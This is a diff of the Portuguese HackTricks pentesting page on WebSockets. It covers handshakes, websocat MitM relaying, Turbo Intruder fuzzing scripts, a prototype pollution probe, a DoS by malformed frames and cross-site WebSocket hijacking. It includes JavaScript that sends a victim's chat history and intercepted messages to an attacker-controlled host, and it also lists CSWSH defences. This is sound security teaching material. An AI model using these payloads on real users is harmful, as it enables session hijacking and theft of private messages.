O navegador envia uma solicitação de handshake:
|
||||
Navegador envia uma requisição de handshake:
|
||||
```javascript
|
||||
GET /chat HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -26,7 +26,7 @@ Connection: keep-alive, Upgrade
|
||||
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
|
||||
Upgrade: websocket
|
||||
```
|
||||
Resposta de handshake do servidor:
|
||||
Resposta do handshake do servidor:
|
||||
```javascript
|
||||
HTTP/1.1 101 Switching Protocols
|
||||
Connection: Upgrade
|
||||
@ -35,18 +35,18 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
|
||||
```
|
||||
A conexão permanece aberta para troca de mensagens em ambas as direções uma vez estabelecida.
|
||||
|
||||
**Pontos Chave do Handshake WebSocket:**
|
||||
**Pontos-chave do handshake do WebSocket:**
|
||||
|
||||
- Os cabeçalhos `Connection` e `Upgrade` sinalizam o início de um handshake WebSocket.
|
||||
- O cabeçalho `Sec-WebSocket-Version` indica a versão do protocolo WebSocket desejada, geralmente `13`.
|
||||
- Um valor aleatório codificado em Base64 é enviado no cabeçalho `Sec-WebSocket-Key`, garantindo que cada handshake seja único, o que ajuda a prevenir problemas com proxies de cache. Este valor não é para autenticação, mas para confirmar que a resposta não é gerada por um servidor ou cache mal configurado.
|
||||
- O cabeçalho `Sec-WebSocket-Accept` na resposta do servidor é um hash do `Sec-WebSocket-Key`, verificando a intenção do servidor de abrir uma conexão WebSocket.
|
||||
- Os cabeçalhos `Connection` e `Upgrade` sinalizam o início do handshake do WebSocket.
|
||||
- O cabeçalho `Sec-WebSocket-Version` indica a versão do protocolo WebSocket desejada, normalmente `13`.
|
||||
- Um valor aleatório codificado em Base64 é enviado no cabeçalho `Sec-WebSocket-Key`, garantindo que cada handshake seja único, o que ajuda a evitar problemas com proxies de cache. Esse valor não serve para autenticação, mas para confirmar que a resposta não foi gerada por um servidor ou cache mal configurado.
|
||||
- O cabeçalho `Sec-WebSocket-Accept` na resposta do servidor é um hash do `Sec-WebSocket-Key`, verificando a intenção do servidor de abrir a conexão WebSocket.
|
||||
|
||||
Essas características garantem que o processo de handshake seja seguro e confiável, abrindo caminho para uma comunicação em tempo real eficiente.
|
||||
|
||||
### Console Linux
|
||||
### Linux console
|
||||
|
||||
Você pode usar `websocat` para estabelecer uma conexão bruta com um websocket.
|
||||
Você pode usar `websocat` para estabelecer uma conexão raw com um WebSocket.
|
||||
```bash
|
||||
websocat --insecure wss://10.10.10.10:8000 -v
|
||||
```
|
||||
@ -56,58 +56,175 @@ websocat -s 0.0.0.0:8000 #Listen in port 8000
|
||||
```
|
||||
### Conexões websocket MitM
|
||||
|
||||
Se você descobrir que os clientes estão conectados a um **websocket HTTP** da sua rede local atual, você pode tentar um [ARP Spoofing Attack](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) para realizar um ataque MitM entre o cliente e o servidor.\
|
||||
Uma vez que o cliente esteja tentando se conectar, você pode então usar:
|
||||
Se você descobrir que clientes estão conectados a um **HTTP websocket** da sua rede local atual, você pode tentar um [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/index.html#arp-spoofing) para realizar um ataque MitM entre o cliente e o servidor.\
|
||||
Quando o cliente tentar conectar-se a você, você pode então usar:
|
||||
```bash
|
||||
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
|
||||
```
|
||||
### Enumeração de Websockets
|
||||
### Enumeração de websockets
|
||||
|
||||
Você pode usar a **ferramenta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descobrir, identificar e buscar por** **vulnerabilidades** **conhecidas** em websockets automaticamente.
|
||||
Você pode usar a **ferramenta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descobrir, fingerprint e buscar por vulnerabilidades conhecidas** em websockets automaticamente.
|
||||
|
||||
### Ferramentas de Depuração de Websocket
|
||||
### Ferramentas de debug de Websocket
|
||||
|
||||
- **Burp Suite** suporta comunicação MitM de websockets de uma maneira muito semelhante à que faz para comunicação HTTP regular.
|
||||
- A [**extensão socketsleuth**](https://github.com/snyk/socketsleuth) **do Burp Suite** permitirá que você gerencie melhor as comunicações de Websocket no Burp, obtendo o **histórico**, definindo **regras de interceptação**, usando regras de **correspondência e substituição**, utilizando **Intruder** e **AutoRepeater.**
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviação de "**WebSocket/Socket.io Proxy**", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para **capturar, interceptar, enviar mensagens personalizadas** e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) é um **REPL interativo de websocket** projetado especificamente para testes de penetração. Ele fornece uma interface para observar **mensagens de websocket recebidas e enviar novas**, com uma estrutura fácil de usar para **automatizar** essa comunicação.
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) é uma **web para se comunicar** com outras webs usando **websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre outros tipos de comunicações/protocolos, fornece uma **web para se comunicar** com outras webs usando **websockets.**
|
||||
- **Burp Suite** suporta comunicação MitM de websockets de forma muito semelhante à que faz para comunicação HTTP regular.
|
||||
- A [**socketsleuth**](https://github.com/snyk/socketsleuth) **extensão do Burp Suite** permitirá que você gerencie melhor as comunicações Websocket no Burp obtendo o **histórico**, definindo **regras de interceptação**, usando regras de **match and replace**, usando **Intruder** e **AutoRepeater**.
|
||||
- [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviação de "**WebSocket/Socket.io Proxy**", esta ferramenta, escrita em Node.js, fornece uma interface de usuário para capturar, interceptar, enviar mensagens customizadas e visualizar todas as comunicações WebSocket e Socket.IO entre o cliente e o servidor.
|
||||
- [**wsrepl**](https://github.com/doyensec/wsrepl) é um **interactive websocket REPL** projetado especificamente para penetration testing. Ele fornece uma interface para observar mensagens websocket recebidas e enviar novas, com um framework fácil de usar para automatizar essa comunicação.
|
||||
- [**https://websocketking.com/**](https://websocketking.com/) é uma aplicação web para se comunicar com outros sites usando **websockets**.
|
||||
- [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre outros tipos de comunicações/protocolos, fornece uma aplicação web para se comunicar com outros sites usando **websockets.**
|
||||
|
||||
## Descriptografando Websocket
|
||||
|
||||
- [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript)
|
||||
- [https://github.com/Anof-cyber/PyCript-WebSocket/](https://github.com/Anof-cyber/PyCript-WebSocket/)
|
||||
|
||||
## Laboratório de Websocket
|
||||
## Websocket Lab
|
||||
|
||||
No [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) você tem um código para lançar uma web usando websockets e em [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) você pode encontrar uma explicação.
|
||||
No repositório [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) você encontra um código para iniciar uma aplicação web usando websockets e no [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) você pode encontrar uma explicação.
|
||||
|
||||
## Fuzzing de Websocket
|
||||
## Websocket Fuzzing
|
||||
|
||||
A extensão do burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) agora permite fuzzing também de mensagens WebSocket. Você pode ler mais informações sobre isso [**aqui**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
|
||||
A extensão do Burp [**Backslash Powered Scanner**](https://github.com/PortSwigger/backslash-powered-scanner) agora também permite fuzz de mensagens WebSocket. Você pode ler mais informações sobre isso [**aqui**](https://arete06.com/posts/fuzzing-ws/#adding-websocket-support-to-backslash-powered-scanner).
|
||||
|
||||
## Sequestro de WebSocket entre Sites (CSWSH)
|
||||
### WebSocket Turbo Intruder (extensão do Burp)
|
||||
|
||||
**Sequestro de WebSocket entre sites**, também conhecido como **sequestro de WebSocket de origem cruzada**, é identificado como um caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afeta os handshakes de WebSocket. Essa vulnerabilidade surge quando os handshakes de WebSocket se autenticam exclusivamente via **cookies HTTP** sem **tokens CSRF** ou medidas de segurança semelhantes.
|
||||
O WebSocket Turbo Intruder da PortSwigger traz scripting em Python no estilo Turbo Intruder e fuzzing de alta taxa para WebSockets. Instale-o a partir do BApp Store ou do código‑fonte. Inclui dois componentes:
|
||||
|
||||
Os atacantes podem explorar isso hospedando uma **página web maliciosa** que inicia uma conexão de WebSocket entre sites para um aplicativo vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com o aplicativo, explorando a falta de proteção CSRF no mecanismo de gerenciamento de sessão.
|
||||
- Turbo Intruder: envio de alto volume para um único endpoint WS usando motores customizados.
|
||||
- HTTP Middleware: expõe um endpoint HTTP local que encaminha os bodies como mensagens WS sobre uma conexão persistente, permitindo que qualquer scanner baseado em HTTP possa sondar backends WS.
|
||||
|
||||
Para que esse ataque funcione, estes são os requisitos:
|
||||
Padrão de script básico para fuzz em um endpoint WS e filtrar respostas relevantes:
|
||||
```python
|
||||
def queue_websockets(upgrade_request, message):
|
||||
connection = websocket_connection.create(upgrade_request)
|
||||
for i in range(10):
|
||||
connection.queue(message, str(i))
|
||||
|
||||
- A **autenticação de websocket deve ser baseada em cookies**
|
||||
- O cookie deve ser acessível a partir do servidor dos atacantes (isso geralmente significa **`SameSite=None`**) e sem **Proteção Total de Cookies do Firefox** habilitada no Firefox e sem **cookies de terceiros bloqueados** no Chrome.
|
||||
- O servidor websocket não deve verificar a origem da conexão (ou isso deve ser contornável)
|
||||
def handle_outgoing_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
|
||||
Além disso:
|
||||
@MatchRegex(r'{\"user\":\"Hal Pline\"')
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
Use decoradores como `@MatchRegex(...)` para reduzir o ruído quando uma única mensagem dispara múltiplas respostas.
|
||||
|
||||
- Se a autenticação for baseada em uma conexão local (para localhost ou para uma rede local), o ataque **será possível** já que nenhuma proteção atual o proíbe (verifique [mais informações aqui](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
|
||||
### Encapsular WS por trás de HTTP (HTTP Middleware)
|
||||
|
||||
### Ataque Simples
|
||||
Envolva uma conexão WS persistente e encaminhe corpos HTTP como mensagens WS para testes automatizados com scanners HTTP:
|
||||
```python
|
||||
def create_connection(upgrade_request):
|
||||
connection = websocket_connection.create(upgrade_request)
|
||||
return connection
|
||||
|
||||
Observe que ao **estabelecer** uma conexão de **websocket**, o **cookie** é **enviado** para o servidor. O **servidor** pode estar usando isso para **relacionar** cada **usuário específico** com sua **sessão de websocket com base no cookie enviado**.
|
||||
@MatchRegex(r'{\"user\":\"You\"')
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
Em seguida, envie HTTP localmente; o body é encaminhado como a mensagem WS:
|
||||
```http
|
||||
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
|
||||
Host: 127.0.0.1:9000
|
||||
Content-Length: 16
|
||||
|
||||
Então, se por **exemplo** o **servidor de websocket** **enviar de volta o histórico da conversa** de um usuário se uma mensagem com "**READY"** for enviada, então um **XSS simples** estabelecendo a conexão (o **cookie** será **enviado** **automaticamente** para autorizar o usuário vítima) **enviando** "**READY**" poderá **recuperar** o histórico da **conversa**.
|
||||
{"message":"hi"}
|
||||
```
|
||||
Isso permite que você conduza backends WS enquanto filtra por eventos “interessantes” (por exemplo, SQLi errors, auth bypass, command injection behavior).
|
||||
|
||||
### Tratamento do Socket.IO (handshake, heartbeats, events)
|
||||
|
||||
O Socket.IO adiciona seu próprio framing sobre o WS. Detecte-o pelo parâmetro de query obrigatório `EIO` (por exemplo, `EIO=4`). Mantenha a sessão viva com Ping (`2`) e Pong (`3`) e inicie a conversa com `"40"`, então emita eventos como `42["message","hello"]`.
|
||||
|
||||
Intruder example:
|
||||
```python
|
||||
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
|
||||
|
||||
def queue_websockets(upgrade_request, message):
|
||||
connection = websocket_connection.create(
|
||||
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
|
||||
connection.queue('40')
|
||||
connection.queue('42["message","hello"]')
|
||||
|
||||
@Pong("3")
|
||||
def handle_outgoing_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
|
||||
@PingPong("2", "3")
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
Variante do adaptador HTTP:
|
||||
```python
|
||||
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
|
||||
|
||||
def create_connection(upgrade_request):
|
||||
connection = websocket_connection.create(
|
||||
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
|
||||
connection.queue('40')
|
||||
connection.decIn()
|
||||
return connection
|
||||
|
||||
@Pong("3")
|
||||
def handle_outgoing_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
|
||||
@PingPong("2", "3")
|
||||
def handle_incoming_message(websocket_message):
|
||||
results_table.add(websocket_message)
|
||||
```
|
||||
### Detectando prototype pollution no lado do servidor via Socket.IO
|
||||
|
||||
Seguindo a técnica segura de detecção do PortSwigger, tente poluir os internals do Express enviando um payload como:
|
||||
```json
|
||||
{"__proto__":{"initialPacket":"Polluted"}}
|
||||
```
|
||||
Se as saudações ou o comportamento mudarem (por exemplo, o echo incluir "Polluted"), provavelmente você poluiu prototypes no lado do servidor. O impacto depende dos sinks alcançáveis; correlacione com os gadgets na seção Node.js prototype pollution. Veja:
|
||||
|
||||
- Check [NodeJS – __proto__ & prototype Pollution](deserialization/nodejs-proto-prototype-pollution/README.md) for sinks/gadgets and chaining ideas.
|
||||
|
||||
### WebSocket race conditions with Turbo Intruder
|
||||
|
||||
O engine padrão agrupa mensagens em uma conexão (excelente throughput, ruim para races). Use o engine THREADED para abrir múltiplas conexões WS e disparar payloads em paralelo para provocar logic races (double‑spend, token reuse, state desync). Comece pelo script de exemplo e ajuste a concorrência em `config()`.
|
||||
|
||||
- Learn methodology and alternatives in [Race Condition](race-condition.md) (see “RC in WebSockets”).
|
||||
|
||||
### WebSocket DoS: malformed frame “Ping of Death”
|
||||
|
||||
Crie frames WS cujo header declara um tamanho de payload enorme, mas envie nenhum corpo. Alguns servidores WS confiam no comprimento e pré-alocam buffers; defini‑lo perto de `Integer.MAX_VALUE` pode causar Out‑Of‑Memory e um DoS remoto não autenticado. Veja o script de exemplo.
|
||||
|
||||
### CLI and debugging
|
||||
|
||||
- Headless fuzzing: `java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput>`
|
||||
- Habilite o WS Logger para capturar e correlacionar mensagens usando IDs internas.
|
||||
- Use os helpers `inc*`/`dec*` em `Connection` para ajustar o tratamento de IDs de mensagem em adapters complexos.
|
||||
- Decorators como `@PingPong`/`@Pong` e helpers como `isInteresting()` reduzem o ruído e mantêm sessões vivas.
|
||||
|
||||
### Operational safety
|
||||
|
||||
Fuzzing WS em alta taxa pode abrir muitas conexões e enviar milhares de mensagens por segundo. Frames malformados e altas taxas podem causar DoS real. Use somente onde permitido.
|
||||
|
||||
## Cross-site WebSocket hijacking (CSWSH)
|
||||
|
||||
**Cross-site WebSocket hijacking**, também conhecido como **cross-origin WebSocket hijacking**, é identificado como um caso específico de **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** que afeta handshakes WebSocket. Esta vulnerabilidade surge quando os handshakes WebSocket autenticam exclusivamente via **HTTP cookies** sem **CSRF tokens** ou medidas de segurança similares.
|
||||
|
||||
Um atacante pode explorar isso hospedando uma **página web maliciosa** que inicia uma conexão WebSocket cross-site para a aplicação vulnerável. Consequentemente, essa conexão é tratada como parte da sessão da vítima com a aplicação, explorando a falta de proteção CSRF no mecanismo de gestão de sessão.
|
||||
|
||||
Para que este ataque funcione, são necessários os seguintes requisitos:
|
||||
|
||||
- A autenticação do websocket **deve ser baseada em cookie**
|
||||
- O cookie deve ser acessível a partir do servidor do atacante (isso geralmente significa **`SameSite=None`**) e sem **Firefox Total Cookie Protection** habilitado no Firefox e sem **blocked third-party cookies** no Chrome.
|
||||
- O websocket server não deve checar a origin da conexão (ou isso deve ser contornável)
|
||||
|
||||
Também:
|
||||
|
||||
- Se a autenticação for baseada em uma conexão local (para localhost ou para uma rede local) o ataque **será possível**, pois nenhuma proteção atual o proíbe (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
|
||||
|
||||
### Simple Attack
|
||||
|
||||
Note que ao **estabelecer** uma conexão **websocket** o **cookie** é **enviado** para o servidor. O **servidor** pode estar usando-o para **relacionar** cada **usuário específico** com sua **sessão websocket baseada no cookie enviado**.
|
||||
|
||||
Então, se por **exemplo** o **websocket** **server** **envia de volta o histórico da conversa** de um usuário se uma msg com "**READY**" for enviada, então um **simples XSS** que estabelece a conexão (o **cookie** será **enviado** **automaticamente** para autorizar o usuário vítima) **enviando** "**READY**" será capaz de **recuperar** o histórico da **conversa**.
|
||||
```html
|
||||
<script>
|
||||
websocket = new WebSocket('wss://your-websocket-URL')
|
||||
@ -124,11 +241,11 @@ fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
|
||||
```
|
||||
### Cross Origin + Cookie com um subdomínio diferente
|
||||
|
||||
Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/), o atacante conseguiu **executar Javascript arbitrário em um subdomínio** do domínio onde a comunicação do web socket estava ocorrendo. Como era um **subdomínio**, o **cookie** estava sendo **enviado**, e como o **Websocket não verificou o Origin corretamente**, foi possível se comunicar com ele e **roubar tokens dele**.
|
||||
Neste post do blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) o atacante conseguiu **executar Javascript arbitrário em um subdomínio** do domínio onde a comunicação por Websocket estava ocorrendo. Como era um **subdomínio**, o **cookie** estava sendo **enviado**, e porque o **Websocket não verificava corretamente o Origin**, foi possível comunicar-se com ele e **roubar tokens dele**.
|
||||
|
||||
### Roubo de dados do usuário
|
||||
### Roubando dados do usuário
|
||||
|
||||
Copie a aplicação web que você deseja impersonar (os arquivos .html, por exemplo) e dentro do script onde a comunicação do websocket está ocorrendo adicione este código:
|
||||
Copie a aplicação web que você quer se passar (os arquivos .html, por exemplo) e dentro do script onde a comunicação por Websocket está ocorrendo adicione este código:
|
||||
```javascript
|
||||
//This is the script tag to load the websocket hooker
|
||||
;<script src="wsHook.js"></script>
|
||||
@ -148,34 +265,35 @@ xhttp.send()
|
||||
return messageEvent
|
||||
}
|
||||
```
|
||||
Agora baixe o arquivo `wsHook.js` de [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) e **salve-o dentro da pasta com os arquivos da web**.\
|
||||
Expondo a aplicação web e fazendo um usuário se conectar a ela, você poderá roubar as mensagens enviadas e recebidas via websocket:
|
||||
Agora faça o download do arquivo `wsHook.js` de [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) e **salve-o dentro da pasta com os arquivos web**.
|
||||
Ao expor a aplicação web e fazer um usuário conectar-se a ela, você poderá capturar as mensagens enviadas e recebidas via websocket:
|
||||
```javascript
|
||||
sudo python3 -m http.server 80
|
||||
```
|
||||
### Proteções CSWSH
|
||||
### Proteções contra CSWSH
|
||||
|
||||
O ataque CSWSH é baseado no fato de que um **usuário se conectará a uma página maliciosa** que **abrirá uma conexão websocket** para uma página da web onde o usuário já está conectado e se autenticará como ele, pois a solicitação enviará os cookies do usuário.
|
||||
O ataque CSWSH baseia-se no fato de que um **usuário irá conectar-se a uma página maliciosa** que irá **abrir uma conexão websocket** para uma página web onde o usuário já está conectado e se autenticará como ele, pois a requisição enviará os cookies do usuário.
|
||||
|
||||
Hoje em dia, é muito fácil prevenir esse problema:
|
||||
Atualmente, é muito fácil prevenir esse problema:
|
||||
|
||||
- **Servidor websocket verificando a origem**: O servidor websocket deve sempre verificar de onde um usuário está se conectando para evitar que páginas inesperadas se conectem a ele.
|
||||
- **Token de autenticação**: Em vez de basear a autenticação em um cookie, a conexão websocket poderia ser baseada em um token que é gerado pelo servidor para o usuário, desconhecido pelo atacante (como um token anti-CSRF).
|
||||
- **Atributo de Cookie SameSite**: Cookies com valor `SameSite` como `Lax` ou `Strict` não serão enviados de uma página de atacantes externos para o servidor da vítima, portanto, a autenticação baseada em cookies não será bem-sucedida. Note que o Chrome agora define o valor **`Lax`** para os cookies sem essa flag especificada, tornando isso mais seguro por padrão. Embora, nos primeiros 2 minutos em que um cookie é criado, ele terá o valor **`None`**, tornando-o vulnerável durante esse período limitado de tempo (também é esperado que essa medida seja removida em algum momento).
|
||||
- **Proteção Total de Cookies do Firefox**: A Proteção Total de Cookies funciona isolando cookies para o site em que são criados. Essencialmente, cada site tem seu próprio armazenamento de cookies para evitar que terceiros vinculem o histórico de navegação de um usuário. Isso torna **CSWSH inutilizável**, pois o site do atacante não terá acesso aos cookies.
|
||||
- **Bloqueio de cookies de terceiros do Chrome**: Isso também pode impedir o envio do cookie do usuário autenticado para o servidor websocket, mesmo com `SameSite=None`.
|
||||
- **Websocket server checking the origin**: O servidor websocket deve sempre verificar de onde um usuário está se conectando para prevenir que páginas inesperadas se liguem a ele.
|
||||
- **Authentication token**: Em vez de basear a autenticação em um cookie, a conexão websocket pode ser baseada em um token que é gerado pelo servidor para o usuário e que é desconhecido pelo atacante (como um token anti-CSRF).
|
||||
- **SameSite Cookie attribute**: Cookies com o valor `SameSite` como `Lax` ou `Strict` não serão enviados de uma página atacante externa para o servidor da vítima; portanto, a autenticação baseada em cookie não terá sucesso. Note que o Chrome agora atribui o valor **`Lax`** aos cookies sem essa flag especificada, tornando isso mais seguro por padrão. Contudo, nos primeiros 2 minutos após a criação de um cookie ele terá o valor **`None`**, tornando-o vulnerável durante esse período limitado (também é esperado que essa medida seja removida em algum momento).
|
||||
- **Firefox Total Cookie Protection**: Total Cookie Protection funciona isolando cookies para o site no qual eles são criados. Essencialmente, cada site tem sua própria partição de armazenamento de cookies para evitar que terceiros vinculem o histórico de navegação de um usuário. Isso torna **CSWSH unusable**, pois o site do atacante não terá acesso aos cookies.
|
||||
- **Chrome third-party cookies block**: Isso também pode impedir o envio do cookie do usuário autenticado para o servidor websocket, mesmo com `SameSite=None`.
|
||||
|
||||
## Condições de Corrida
|
||||
## Condições de corrida
|
||||
|
||||
Condições de Corrida em WebSockets também são uma realidade, [verifique esta informação para saber mais](race-condition.md#rc-in-websockets).
|
||||
Race Conditions em WebSockets também existem, [veja esta informação para saber mais](race-condition.md#rc-in-websockets).
|
||||
|
||||
## Outras vulnerabilidades
|
||||
|
||||
Como os Web Sockets são um mecanismo para **enviar dados para o lado do servidor e do cliente**, dependendo de como o servidor e o cliente lidam com as informações, **os Web Sockets podem ser usados para explorar várias outras vulnerabilidades, como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário de um websocket.**
|
||||
Como Web Sockets são um mecanismo para **enviar dados para o servidor e para o cliente**, dependendo de como o servidor e o cliente tratam as informações, **Web Sockets podem ser usados para explorar várias outras vulnerabilidades como XSS, SQLi ou qualquer outra vulnerabilidade web comum usando a entrada de um usuário a partir de um websocket.**
|
||||
|
||||
## **WebSocket Smuggling**
|
||||
|
||||
Essa vulnerabilidade pode permitir que você **bypasse as restrições de proxies reversos** fazendo-os acreditar que uma **comunicação websocket foi estabelecida** (mesmo que não seja verdade). Isso pode permitir que um atacante **acesse endpoints ocultos**. Para mais informações, consulte a página a seguir:
|
||||
Essa vulnerabilidade pode permitir que você **bypass reverse proxies restrictions** fazendo-os acreditar que uma **comunicação websocket foi estabelecida** (mesmo que não seja verdade). Isso poderia permitir que um atacante **acesse endpoints ocultos**. Para mais informações, consulte a página a seguir:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
h2c-smuggling.md
|
||||
@ -185,5 +303,13 @@ h2c-smuggling.md
|
||||
|
||||
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
|
||||
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
|
||||
- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
|
||||
- [WebSocket Turbo Intruder – BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
|
||||
- [WebSocketTurboIntruder – GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
|
||||
- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
|
||||
- [Server-side prototype pollution – safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
|
||||
- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
|
||||
- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
|
||||
- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user